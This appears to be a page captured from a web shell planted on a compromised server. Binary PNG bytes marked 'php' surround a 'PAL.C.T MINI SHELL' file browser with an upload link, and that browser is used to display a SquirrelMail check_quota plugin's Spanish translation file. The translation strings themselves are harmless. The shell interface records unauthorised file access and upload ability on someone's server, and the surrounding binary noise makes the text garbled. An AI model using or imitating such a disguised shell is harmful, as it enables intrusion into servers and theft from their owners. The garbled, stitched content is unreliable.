php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/proc/self/root/usr/share/squirrelmail/locale/es_ES/LC_MESSAGES/
upload
files >> //proc/self/root/proc/self/root/usr/share/squirrelmail/locale/es_ES/LC_MESSAGES/check_quota.po

# Spanish (es_ES) translation of Check Quota (SquirrelMail pugin)
# Copyright (C) 2005 Carlos Martín
# This file is distributed under the same license as the SquirrelMail package.
# Carlos Martín <k@ues.edu.sv>, 2005.
# $Id: check_quota.po,v 1.1 2005
#
msgid ""
msgstr ""
"Project-Id-Version: check_quota plugin 1.2\n"
"Report-Msgid-Bugs-To: k@ues.edu.sv\n"
"POT-Creation-Date: 2005-01-30 13:41+0100\n"
"PO-Revision-Date: 2005-02-02 07:00-0600\n"
"Last-Translator: Carlos Martín <k@ues.edu.sv>\n"
"Language-Team: Spanish <k@ues.edu.sv>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Poedit-Language: Spanish\n"
"X-Poedit-Country: SPAIN\n"
"X-Poedit-SourceCharset: iso-8859-1\n"

#, c-format
msgid "%s%s of %s%s"
msgstr "%s%s de %s%s"

#, c-format
msgid "%s%% of %s%s"
msgstr "%s%% de %s%s"

msgid "Quota Usage:"
msgstr "Uso de cuota:"

msgid "OVER QUOTA!"
msgstr "¡Sobrepasó su cuota!"

#, c-format
msgid "%s of %s files"
msgstr "%s de %s ficheros"

#, c-format
msgid "%s%% of %s files"
msgstr "%s%% de %s ficheros"

msgid "File Usage:"
msgstr "Uso de ficheros:"

msgid "<strong>WARNING:</strong> Your quota usage is currently <strong>###PERCENT_USED###%</strong>. To avoid losing any email, you should immediately empty out your Trash and Sent folders and delete any emails with large attachments."
msgstr "<strong>ATENCIÓN:</strong> Su uso de cuota es actualmente <strong>###PERCENT_USED###%</strong>. Para evitar que el servidor rechace correos electrónicos dirigidos a usted y que hagan superar el límite máximo de cuota le aconsejamos que vacíe su Papelera y carpeta de mensajes Enviados, así como que elimine los correos que tengan ficheros adjuntos de gran tamaño."

msgid "<strong>WARNING:</strong> Your quota usage is currently <strong>###PERCENT_USED###%</strong>. You may want to make sure you empty out your Trash and clean your Sent folder."
msgstr "<strong>ATENCIÓN:</strong> Su uso de cuota es actualmente <strong>###PERCENT_USED###%</strong>. Es prácticamente necesario que usted vacíe la Papelera y carpeta de mensajes Enviados, correos que tengan ficheros adjuntos de gran tamaño o simplemente varios correos que le permitan volver a tener espacio libre."

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`